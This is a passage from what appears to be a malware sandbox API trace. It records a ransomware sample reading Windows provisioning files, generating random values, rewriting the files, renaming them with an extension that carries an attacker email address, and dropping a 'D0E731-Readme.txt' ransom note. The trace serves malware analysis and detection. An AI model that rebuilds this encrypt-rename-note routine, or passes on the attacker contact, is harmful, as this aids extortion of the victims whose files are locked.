dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.706] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2de3f93c | out: lpFileSize=0x2de3f93c*=463) returned 1 [0085.706] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x1cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.706] ReadFile (in: hFile=0x7c4, lpBuffer=0x2de3f910, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2de3f90c, lpOverlapped=0x0 | out: lpBuffer=0x2de3f910*, lpNumberOfBytesRead=0x2de3f90c*=0x4, lpOverlapped=0x0) returned 1 [0085.707] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd808 [0085.707] NtQuerySystemTime (in: CurrentTime=0x2de3f8e8 | out: CurrentTime=0x2de3f8e8*=132121176436016510) returned 0x0 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x4004e2f6 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x65739d7e [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x97ae7bb3 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xe990ccfd [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xcec1ce16 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xaecdaa30 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xa18419e9 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x2b8f3a90 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x70f1280c [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xe13e3cad [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x73bcb29c [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xe2f9062d [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x34e26118 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x1dd46a79 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x8dcfbb94 [0085.707] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x2243aa91 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x6b7d0e52 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x4c7205c2 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xd8473887 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x3741467e [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xe024d13b [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x4fbfd1ec [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x7bfa0df2 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x4dfa1bbc [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xa0a86e53 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x9c484275 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x9782a9d4 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0xa7547f15 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x7a658834 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x22cae2c1 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x7d02b944 [0085.708] RtlRandom (in: Seed=0x2de3f8f4 | out: Seed=0x2de3f8f4) returned 0x71b04f17 [0085.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.719] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x2de3f8e8, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2de3f8e8*=0x1cf, lpOverlapped=0x0) returned 1 [0085.719] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2de3f8b0 | out: lpNewFilePointer=0x0) returned 1 [0085.719] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x2de3f8e4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2de3f8e4*=0x1cf, lpOverlapped=0x0) returned 1 [0085.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.719] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2de3f8e0, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2de3f8e0*=0x20, lpOverlapped=0x0) returned 1 [0085.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.720] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2de3f90c, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2de3f90c*=0x8, lpOverlapped=0x0) returned 1 [0085.720] WriteFile (in: hFile=0x7c4, lpBuffer=0x2de3f924*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2de3f90c, lpOverlapped=0x0 | out: lpBuffer=0x2de3f924*, lpNumberOfBytesWritten=0x2de3f90c*=0x4, lpOverlapped=0x0) returned 1 [0085.720] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2de3f90c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2de3f90c*=0x4, lpOverlapped=0x0) returned 1 [0085.720] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2de3f90c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2de3f90c*=0x6c, lpOverlapped=0x0) returned 1 [0085.720] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2de3f90c, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2de3f90c*=0x20, lpOverlapped=0x0) returned 1 [0085.720] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2de3f90c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2de3f90c*=0x4, lpOverlapped=0x0) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd830) returned 1 [0085.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.720] CloseHandle (hObject=0x7c4) returned 1 [0085.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x34b7278 [0085.720] wcscpy (in: _Dest=0x34b7278, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0085.721] wcscat (in: _Dest=0x34b7278, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0085.721] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.722] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7278) returned 1 [0085.722] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 0 [0085.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a338 [0085.722] wcscpy (in: _Dest=0x348a338, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\" [0085.722] wcscat (in: _Dest=0x348a338, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.722] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.722] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.724] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2de3f908, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2de3f908*=0x481, lpOverlapped=0x0) returned 1 [0085.725] CloseHandle (hObject=0x7c4) returned 1 [0085.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a338) returned 1 [0085.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0085.726] RtlExitUserThread (Status=0x1) Thread: id = 1316 os_tid = 0x1234 [0085.727] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20 [0085.727] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 1 [0085.727] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.727] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2debfc74 | out: lpFileSize=0x2debfc74*=539) returned 1 [0085.727] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x217, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.727] ReadFile (in: hFile=0x7c4, lpBuffer=0x2debfc48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2debfc44, lpOverlapped=0x0 | out: lpBuffer=0x2debfc48*, lpNumberOfBytesRead=0x2debfc44*=0x4, lpOverlapped=0x0) returned 1 [0085.728] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd830 [0085.728] NtQuerySystemTime (in: CurrentTime=0x2debfc20 | out: CurrentTime=0x2debfc20*=132121176436172760) returned 0x0 [0085.728] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x27e299d2 [0085.728] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xd742934 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x6fad71c [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x355084bb [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xa4474dc5 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x6977c629 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xcd8268a4 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xff12976e [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xbc8b5df3 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xb38c7d0f [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x999fbcd8 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x9dc81f02 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xf6989366 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x3705b1fe [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xa68a76e1 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xdf8df354 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x552c495 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x36ad20ec [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x9fb9456b [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x610fad3b [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xc589cf1a [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xfca105cd [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xab6bd093 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xf4ddb60a [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x45789d2f [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xf4181308 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x7c874606 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x318747a8 [0085.729] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0xfebd4ffb [0085.732] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x1c755e19 [0085.732] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x63c2a0b8 [0085.732] RtlRandom (in: Seed=0x2debfc2c | out: Seed=0x2debfc2c) returned 0x77a64bd7 [0085.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.743] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x2debfc20, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2debfc20*=0x21b, lpOverlapped=0x0) returned 1 [0085.743] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2debfbe8 | out: lpNewFilePointer=0x0) returned 1 [0085.743] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x21b, lpNumberOfBytesWritten=0x2debfc1c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2debfc1c*=0x21b, lpOverlapped=0x0) returned 1 [0085.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.743] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.743] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2debfc18, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2debfc18*=0x20, lpOverlapped=0x0) returned 1 [0085.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.743] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.743] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd880*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2debfc44, lpOverlapped=0x0 | out: lpBuffer=0x55dd880*, lpNumberOfBytesWritten=0x2debfc44*=0x8, lpOverlapped=0x0) returned 1 [0085.743] WriteFile (in: hFile=0x7c4, lpBuffer=0x2debfc5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2debfc44, lpOverlapped=0x0 | out: lpBuffer=0x2debfc5c*, lpNumberOfBytesWritten=0x2debfc44*=0x4, lpOverlapped=0x0) returned 1 [0085.744] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2debfc44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2debfc44*=0x4, lpOverlapped=0x0) returned 1 [0085.744] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2debfc44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2debfc44*=0x6c, lpOverlapped=0x0) returned 1 [0085.744] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2debfc44, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2debfc44*=0x20, lpOverlapped=0x0) returned 1 [0085.745] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2debfc44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2debfc44*=0x4, lpOverlapped=0x0) returned 1 [0085.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd880) returned 1 [0085.745] CloseHandle (hObject=0x7c4) returned 1 [0085.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x34b7278 [0085.745] wcscpy (in: _Dest=0x34b7278, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0085.745] wcscat (in: _Dest=0x34b7278, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0085.745] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.746] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7278) returned 1 [0085.746] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 0 [0085.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348ae78 [0085.746] wcscpy (in: _Dest=0x348ae78, _Source="C:\\Users\\All 